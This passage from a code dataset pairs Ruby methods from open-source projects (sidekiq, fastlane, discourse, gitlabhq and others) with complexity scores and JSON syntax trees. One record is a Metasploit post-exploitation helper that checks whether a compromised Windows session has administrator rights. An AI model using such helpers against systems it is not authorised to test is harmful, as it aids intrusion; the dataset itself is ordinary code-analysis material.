\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"subtitle\"]}]}]}]},null]}]},null]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"url\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Onebox\"]},\"Helpers\"]},\"truncate\",{\"type\":\"lvar\",\"children\":[\"title\"]},{\"type\":\"int\",\"children\":[250]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"display_path\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"lvar\",\"children\":[\"display_description\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"favicon\"]},{\"type\":\"send\",\"children\":[null,\"get_favicon\"]}]}]}]}]}","id":"bf5cddac-d954-4b43-8f46-fe36ba1982dd"}
{"repo_name":"sidekiq","file_path":"./repos/sidekiq/myapp/config/initializers/sidekiq.rb","start_line":75,"raw_source":"def perform(*)\n    raise \"boom\" if rand < 0.1\n    sleep(rand)\n  end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rand\"]},\"<\",{\"type\":\"float\",\"children\":[0.1]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"str\",\"children\":[\"boom\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"sleep\",{\"type\":\"send\",\"children\":[null,\"rand\"]}]}]}]}","id":"76fcd3e7-5c4b-437c-a5b6-2768ce20113a"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/custom_button.rb","start_line":212,"raw_source":"def evaluate_visibility_expression_for(object)\n    return true unless visibility_expression\n    return false if visibility_expression && !object # object == nil, method is called for list of objects\n\n    visibility_expression.evaluate(object)\n  end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"evaluate_visibility_expression_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"object\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_expression\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_expression\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"!\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"false\",\"children\":[]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"visibility_expression\"]},\"evaluate\",{\"type\":\"lvar\",\"children\":[\"object\"]}]}]}]}","id":"81bb7f52-4405-4055-a452-38f19c85ad86"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/activities/changeset_activity_provider.rb","start_line":83,"raw_source":"def event_description(event)\n    split_comment(event[\"comments\"]).last\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"event_description\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"event\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"split_comment\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"event\"]},\"[]\",{\"type\":\"str\",\"children\":[\"comments\"]}]}]},\"last\"]}]}","id":"68744697-c1a6-48a0-8377-1d39cd10f57f"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/priv.rb","start_line":51,"raw_source":"def is_admin?\n    if session_has_ext\n      # Assume true if the OS doesn't expose this (Windows 2000)\n      begin\n        return session.railgun.shell32.IsUserAnAdmin()['return']\n      rescue StandardError\n        true\n      end\n    end\n\n    local_service_key = registry_enumkeys('HKU\\S-1-5-19')\n\n    !local_service_key.blank?\n  end","complexity_score":15.3,"ast_json":"{\"type\":\"def\",\"children\":[\"is_admin?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session_has_ext\"]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"session\"]},\"railgun\"]},\"shell32\"]},\"IsUserAnAdmin\"]},\"[]\",{\"type\":\"str\",\"children\":[\"return\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"true\",\"children\":[]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"local_service_key\",{\"type\":\"send\",\"children\":[null,\"registry_enumkeys\",{\"type\":\"str\",\"children\":[\"HKU\\\\S-1-5-19\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"local_service_key\"]},\"blank?\"]},\"!\"]}]}]}","id":"0942d9be-5ad9-4000-9bff-27071699db36"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/runner.rb","start_line":75,"raw_source":"def precheck_app\n      return true unless options[:run_precheck_before_submit]\n      UI.message(\"Running precheck before submitting to review, if you'd like to disable this check you can set run_precheck_before_submit to false\")\n\n      if options[:submit_for_review]\n        UI.message(\"Making sure we pass precheck 👮‍♀️ 👮 before we submit  🛫\")\n      else\n        UI.message(\"Running precheck 👮‍♀️ 👮\")\n      end\n\n      precheck_options = {\n        default_rule_level: options[:precheck_default_rule_level],\n        include_in_app_purchases: options[:precheck_include_in_app_purchases],\n        app_identifier: options[:app_identifier]\n      }\n\n      if options[:api_key] || options[:api_key_path]\n        if options[:precheck_include_in_app_purchases]\n          UI.user_error!(\"Precheck cannot check In-app purchases with the App Store Connect API Key (yet). Exclude In-app purchases from precheck, disable the precheck step in your build step, or use Apple ID login\")\n        end\n\n        precheck_options[:api_key] = options[:api_key]\n        precheck_options[:api_key_path] = options[:api_key_path]\n      else\n        precheck_options[:username] = options[:username]\n        precheck_options[:platform] = options[:platform]\n      end\n\n      precheck_config = FastlaneCore::Configuration.create(Precheck::Options.available_options, precheck_options)\n      Precheck.config = precheck_config\n\n      precheck_success = true\n      begin\n        precheck_success = Precheck::Runner.new.run\n      rescue => ex\n        UI.error(\"fastlane precheck just tried to inspect your app's metadata for App Store guideline violations and ran into a problem. We're not sure what the problem was, but precheck failed to finish. You can run it in verbose mode if you want to see the whole error. We'll have a fix out soon 🚀\")\n        UI.verbose(ex.inspect)\n        UI.verbose(ex.backtrace.join(\"\\n\"))\n      end\n\n      return precheck_success\n    end","complexity_score":62.5,"ast_json":"{\"type\":\"def\",\"children\":[\"precheck_app\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"run_precheck_before_submit\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Running precheck before submitting to review, if you'd like to disable this check you can set run_precheck_before_submit to false\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"submit_for_review\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Making sure we pass precheck 👮‍♀️ 👮 before we submit  🛫\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"message\",{\"type\":\"str\",\"children\":[\"Running precheck 👮‍♀️ 👮\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"precheck_options\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_rule_level\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"precheck_default_rule_level\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"include_in_app_purchases\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"precheck_include_in_app_purchases\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_identifier\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app_identifier\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"precheck_include_in_app_purchases\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"str\",\"children\":[\"Precheck cannot check In-app purchases with the App Store Connect API Key (yet). Exclude In-app purchases from precheck, disable the precheck step in your build step, or use Apple ID login\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precheck_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precheck_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precheck_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precheck_options\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"precheck_config\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"Configuration\"]},\"create\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Precheck\"]},\"Options\"]},\"available_options\"]},{\"type\":\"lvar\",\"children\":[\"precheck_options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Precheck\"]},\"config=\",{\"type\":\"lvar\",\"children\":[\"precheck_config\"]}]},{\"type\":\"lvasgn\",\"children\":[\"precheck_success\",{\"type\":\"true\",\"children\":[]}]},{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"precheck_success\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Precheck\"]},\"Runner\"]},\"new\"]},\"run\"]}]},{\"type\":\"resbody\",\"children\":[null,{\"type\":\"lvasgn\",\"children\":[\"ex\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"error\",{\"type\":\"str\",\"children\":[\"fastlane precheck just tried to inspect your app's metadata for App Store guideline violations and ran into a problem. We're not sure what the problem was, but precheck failed to finish. You can run it in verbose mode if you want to see the whole error. We'll have a fix out soon 🚀\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"inspect\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"verbose\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ex\"]},\"backtrace\"]},\"join\",{\"type\":\"str\",\"children\":[\"\\n\"]}]}]}]}]},null]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"precheck_success\"]}]}]}]}","id":"1d18922f-6d43-406c-8110-3da96edd651c"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/services/staff_action_logger.rb","start_line":711,"raw_source":"def log_revoke_moderation(user, opts = {})\n    raise Discourse::InvalidParameters.new(:user) unless user\n    UserHistory.create!(\n      params(opts).merge(action: UserHistory.actions[:revoke_moderation], target_user_id: user.id),\n    )\n  end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"log_revoke_moderation\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"optarg\",\"children\":[\"opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Discourse\"]},\"InvalidParameters\"]},\"new\",{\"type\":\"sym\",\"children\":[\"user\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"create!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\",{\"type\":\"lvar\",\"children\":[\"opts\"]}]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UserHistory\"]},\"actions\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"revoke_moderation\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_user_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"id\"]}]}]}]}]}]}]}","id":"3ef695b7-8f0c-43f2-be7a-cce1b06566f4"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/concerns/positionable_list.rb","start_line":47,"raw_source":"def remove_element(list, element_to_remove)\n        index = index_of(list, element_to_remove)\n\n        return unless index\n\n        list.slice!(index)\n      end","complexity_score":4.0,"ast_json":"{\"type\":\"def\",\"children\":[\"remove_element\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"list\"]},{\"type\":\"arg\",\"children\":[\"element_to_remove\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"index\",{\"type\":\"send\",\"children\":[null,\"index_of\",{\"type\":\"lvar\",\"children\":[\"list\"]},{\"type\":\"lvar\",\"children\":[\"element_to_remove\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"index\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"slice!\",{\"type\":\"lvar\",\"children\":[\"index\"]}]}]}]}","id":"a09d3cae-801c-4226-898b-eaa87cc3bd07"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/match/lib/match/storage.rb","start_line":10,"raw_source":"def backends\n        @backends ||= {\n          \"git\" => lambda { |params|\n            return Storage::GitStorage.configure({\n              type: params[:type],\n              platform: params[:platform],\n              git_url: params[:git_url],\n              shallow_clone: params[:shallow_clone],\n              skip_docs: params[:skip_docs],\n              git_branch: params[:git_branch],\n              git_full_name: params[:git_full_name],\n              git_user_email: params[:git_user_email],\n              clone_branch_directly: params[:clone_branch_directly],\n              git_basic_authorization: params[:git_basic_authorization],\n              git_bearer_authorization: params[:git_bearer_authorization],\n              git_private_key: params[:git_private_key]\n            })\n          },\n          \"google_cloud\" => lambda { |params|\n            return Storage::GoogleCloudStorage.configure({\n              type: params[:type],\n              platform: params[:platform],\n              google_cloud_bucket_name: params[:google_cloud_bucket_name],\n              google_cloud_keys_file: params[:google_cloud_keys_file],\n              google_cloud_project_id: params[:google_cloud_project_id],\n              readonly: params[:readonly],\n              username: params[:username],\n              team_id: params[:team_id],\n              team_name: params[:team_name],\n              api_key_path: params[:api_key_path],\n              api_key: params[:api_key],\n              skip_google_cloud_account_confirmation: params[:skip_google_cloud_account_confirmation]\n            })\n          },\n          \"s3\" => lambda { |params|\n            return Storage::S3Storage.configure({\n              s3_region: params[:s3_region],\n              s3_access_key: params[:s3_access_key],\n              s3_secret_access_key: params[:s3_secret_access_key],\n              s3_bucket: params[:s3_bucket],\n              s3_object_prefix: params[:s3_object_prefix],\n              readonly: params[:readonly],\n              username: params[:username],\n              team_id: params[:team_id],\n              team_name: params[:team_name],\n              api_key_path: params[:api_key_path],\n              api_key: params[:api_key]\n            })\n          },\n          \"gitlab_secure_files\" => lambda { |params|\n            return Storage::GitLabSecureFiles.configure({\n              gitlab_host: params[:gitlab_host],\n              gitlab_project: params[:gitlab_project],\n              git_url: params[:git_url], # enables warning about unnecessary git_url\n              job_token: params[:job_token],\n              private_token: params[:private_token],\n              readonly: params[:readonly],\n              username: params[:username],\n              team_id: params[:team_id],\n              team_name: params[:team_name],\n              api_key_path: params[:api_key_path],\n              api_key: params[:api_key]\n            })\n          }\n        }\n      end","complexity_score":73.2,"ast_json":"{\"type\":\"def\",\"children\":[\"backends\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@backends\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"git\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"GitStorage\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_url\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"shallow_clone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"shallow_clone\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_docs\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_docs\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_branch\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_branch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_full_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_full_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_user_email\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_user_email\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"clone_branch_directly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"clone_branch_directly\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_basic_authorization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_basic_authorization\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_bearer_authorization\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_bearer_authorization\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"git_private_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"git_private_key\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"google_cloud\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"GoogleCloudStorage\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"google_cloud_bucket_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"google_cloud_bucket_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"google_cloud_keys_file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"google_cloud_keys_file\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"google_cloud_project_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"google_cloud_project_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"readonly\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"skip_google_cloud_account_confirmation\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"skip_google_cloud_account_confirmation\"]}]}]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"s3\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"params\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Storage\"]},\"S3Storage\"]},\"configure\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_region\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_region\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_access_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_access_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_secret_access_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_secret_access_key\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_bucket\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_bucket\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"s3_object_prefix\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"s3_object_prefix\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"readonly\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"readonly\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"username\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_id\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"team_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"team_name\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key_path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key_path\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"api_key\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"api_key\"]}]}]}